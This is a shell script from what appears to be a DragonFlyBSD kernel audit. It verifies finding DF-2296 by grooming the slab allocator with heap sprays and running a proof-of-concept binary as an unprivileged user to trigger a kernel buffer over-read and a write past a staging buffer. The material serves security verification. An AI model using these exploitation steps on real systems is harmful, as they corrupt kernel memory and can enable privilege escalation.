⬢ DragonFlyBSD Kernel Audit
DF-2296 / run_2296.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/bin/sh
# run_2296.sh -- DF-2296 verification driver v3 (pinned + crash-safe).
#
# All kernel allocations for a phase run pinned to CPU 2 via usched so
# the slab allocator's per-CPU magazines line up with the LIFO
# sprayfree placement primitive.  sync(8) after each phase so hammer2
# flushes the evidence before any later panic.
#
# Phase A (S400, maxrec=10): MAXREC gate fires AFTER the bcopy ran.
# Phase B (S800, maxrec=11): full path; dest-side smash captured in
#         160-class canaries -> proves the 4080-byte copy ran AND
#         carries staging-adjacent (over-read) bytes past index 2048.
# Phase C (write variant): emulated peer response of 2304 bytes makes
#         the response bcopy write 240 bytes past the staging buffer
#         into 2084-class canaries (spraypop avoids the double free).
set -x
sync
cd /root/fw
: > /root/fw/run_2296.log

echo '=== DF-2296 phase A: S400 (maxrec=10), req.len=4096, lenval=4080'
/tmp/fwhctl maxrec 10
/tmp/fwhctl spray 24 2084
/tmp/fwhctl spray 240 160
/tmp/fwhctl sprayfree 150
dmesg -c > /dev/null
su -m opuser -c "/tmp/poc_2296 4096 4080"
echo '--- dmesg (expect: send.pay_len > maxrec AFTER bcopy) ---'
dmesg | tail -4
/tmp/fwhctl spraychk; echo SPRAYCHK_RC=$?
/tmp/fwhctl spraydump /root/fw/spraydump.A1.txt 24
/tmp/fwhctl spraydump /root/fw/spraydump.A2.txt 48
/tmp/fwhctl unspray
sync

echo '=== DF-2296 phase B: S800 (maxrec=11), same request'
/tmp/fwhctl maxrec 11
/tmp/fwhctl spray 24 2084
/tmp/fwhctl spray 240 160
/tmp/fwhctl sprayfree 150
dmesg -c > /dev/null
su -m opuser -c "/tmp/poc_2296 4096 4080"
echo '--- dmesg (expect: AT-START + full path) ---'
dmesg | tail -6
/tmp/fwhctl spraychk; echo SPRAYCHK_RC=$?
/tmp/fwhctl spraydump /root/fw/spraydump.B1.txt 24
/tmp/fwhctl spraydump /root/fw/spraydump.B2.txt 96
/tmp/fwhctl unspray
sync

echo '=== DF-2296 phase C: response-path write variant (recvpl=2304)'
/tmp/fwhctl maxrec 11
/tmp/fwhctl spray 24 2084
/tmp/fwhctl spraypop
/tmp/fwhctl spray 240 160
/tmp/fwhctl sprayfree 150
/tmp/fwhctl resp 2304 0xC2
dmesg -c > /dev/null
su -m opuser -c "/tmp/poc_2296 4096 4080 2304"
echo '--- dmesg ---'
dmesg | tail -6
/tmp/fwhctl spraychk; echo SPRAYCHK_RC=$?
/tmp/fwhctl spraydump /root/fw/spraydump.C.txt 0
/tmp/fwhctl unspray
/tmp/fwhctl resp 0 0
sync
echo RUN_2296_DONE